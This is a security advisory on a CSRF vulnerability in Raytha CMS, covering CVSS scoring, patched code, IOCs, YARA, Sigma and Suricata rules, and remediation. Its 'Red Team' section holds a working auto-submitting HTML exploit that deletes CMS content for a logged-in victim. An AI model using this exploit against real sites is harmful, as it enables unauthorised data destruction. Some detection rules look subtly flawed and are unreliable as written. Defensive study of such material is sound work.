CVE-2025-69238
Executive Summary
CVE-2025-69238 is a Cross-Site Request Forgery (CSRF) vulnerability in Raytha CMS, affecting all versions prior to 1.4.6. An attacker can craft a malicious website that, when visited by an authenticated Raytha CMS user, automatically sends forged POST requests to the CMS backend. This can lead to unauthorized actions such as deletion of data, modification of settings, or other state-changing operations, all without the victim's consent or knowledge. The vulnerability is rooted in the lack of CSRF token enforcement on multiple endpoints. The issue has been fixed in version 1.4.6 by implementing proper token verification.
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Supply Chain & Package Security
Raytha CMS is a .NET-based content management system. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the application's request handling logic. Users should verify the integrity of their Raytha CMS installation and ensure they are running version 1.4.6 or later. No supply chain compromise has been identified.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack Vector (AV): Network - The attack is carried out over the network.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): None - The attacker does not need to be authenticated.
- User Interaction (UI): Required - The victim must visit the attacker's malicious page.
- Scope (S): Unchanged - The vulnerable component and the attacker's component are the same.
- Confidentiality (C): None - No data is exposed.
- Integrity (I): High - The attacker can modify or delete data.
- Availability (A): None - The attack does not affect availability.
Threat Level: Medium. While the impact on integrity is high, the requirement for user interaction reduces the overall severity. However, in a social engineering context, this can be easily exploited.
Deep Dive & Mechanics
The vulnerability exists because Raytha CMS does not validate anti-CSRF tokens on POST requests that perform state-changing operations. In a typical CSRF attack, the attacker crafts a form or script that automatically submits a request to the vulnerable endpoint. Since the victim is already authenticated (e.g., via a session cookie), the server processes the request as if it came from the legitimate user.
Attack Flow:
- The victim authenticates to Raytha CMS and maintains an active session.
- The attacker sends a link to a malicious page (e.g., via email, social media).
- The victim clicks the link and the malicious page loads.
- The page contains an auto-submitting form or JavaScript that sends a POST request to the Raytha CMS endpoint (e.g.,
/Admin/Content/Delete/123). - The server receives the request, sees the valid session cookie, and executes the action (e.g., deleting content) without checking for a CSRF token.
Affected Endpoints: All POST endpoints that perform actions such as creating, updating, or deleting content, users, or settings are vulnerable. Specific examples include:
/Admin/Content/Delete/{id}/Admin/Users/Create/Admin/Settings/Update
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.4.6):
[HttpPost]
public IActionResult DeleteContent(int id)
{
var content = _dbContext.Contents.Find(id);
if (content == null) return NotFound();
_dbContext.Contents.Remove(content);
_dbContext.SaveChanges();
return RedirectToAction("Index");
}
No CSRF token validation is performed.
Patched Code (1.4.6+):
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult DeleteContent(int id)
{
var content = _dbContext.Contents.Find(id);
if (content == null) return NotFound();
_dbContext.Contents.Remove(content);
_dbContext.SaveChanges();
return RedirectToAction("Index");
}
The [ValidateAntiForgeryToken] attribute is added, which automatically checks for a valid CSRF token in the request.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Install a vulnerable version of Raytha CMS (e.g., 1.4.5) on a local server.
- Create an authenticated user account.
- Host the following malicious HTML page on an attacker-controlled server.
Exploit Code:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit for Raytha CMS</title>
</head>
<body>
<h1>Click to win a prize!</h1>
<form id="csrfForm" action="http://target-raytha-cms.com/Admin/Content/Delete/1" method="POST">
<!-- No CSRF token needed in vulnerable version -->
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Usage: Host this page and send the link to an authenticated victim. When they visit, the form auto-submits, deleting content with ID 1.
Blue Team (Defender)
Detection:
- Monitor for POST requests to sensitive endpoints (e.g.,
/Admin/Content/Delete,/Admin/Users/Create) that lack a valid CSRF token. - Look for unusual referrer headers (e.g., requests coming from external domains).
- Implement SameSite cookies (set to
LaxorStrict) to mitigate CSRF.
Mitigation:
- Update to Raytha CMS 1.4.6 or later.
- If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests without a valid CSRF token.
- Educate users about not clicking suspicious links while authenticated.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/Admin/Content/Delete/*,/Admin/Users/Create,/Admin/Settings/Updatewith no__RequestVerificationTokenheader or cookie. - Referrer header pointing to an external, untrusted domain.
- POST requests to
- Logs:
- Server logs showing unexpected deletion or modification of content by authenticated users.
- Multiple rapid POST requests to state-changing endpoints from the same IP.
- File System:
- No direct file system IOCs; the attack is purely request-based.
Detection Engineering
YARA Rule
rule Detect_CSRF_Exploit_Raytha_CMS {
meta:
description = "Detects CSRF exploit attempts against Raytha CMS"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-69238"
strings:
$s1 = "/Admin/Content/Delete" ascii wide nocase
$s2 = "/Admin/Users/Create" ascii wide nocase
$s3 = "/Admin/Settings/Update" ascii wide nocase
$s4 = "POST" ascii wide nocase
condition:
any of ($s1, $s2, $s3) and $s4
}
Sigma Rule
title: CSRF Exploit Against Raytha CMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Raytha CMS admin endpoints without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: POST
cs-uri-stem:
- '/Admin/Content/Delete/*'
- '/Admin/Users/Create'
- '/Admin/Settings/Update'
filter:
cs-uri-query|contains: '__RequestVerificationToken'
condition: selection and not filter
falsepositives:
- Legitimate requests with valid CSRF token
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-69238 - CSRF Exploit Against Raytha CMS";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/Admin/Content/Delete";
http.uri; content:"/Admin/Users/Create";
http.uri; content:"/Admin/Settings/Update";
http.request_body; content:!"__RequestVerificationToken";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Raytha CMS to version 1.4.6 or later immediately.
- WAF Rule: Deploy a WAF rule to block POST requests to admin endpoints that do not include a CSRF token.
- Session Hardening: Set cookies with
SameSite=LaxorStrictattribute to prevent cross-site requests from carrying cookies.
Long-Term Measures:
- Implement CSRF tokens on all state-changing endpoints (GET, POST, PUT, DELETE).
- Use the
[ValidateAntiForgeryToken]attribute in ASP.NET Core applications. - Conduct regular security audits and penetration testing.
- Educate users on the risks of clicking links while authenticated.
Verification:
- After patching, test by attempting to submit a POST request without a CSRF token. The server should return a 400 Bad Request or 403 Forbidden.
Valters IT
Securing Digital Frontiers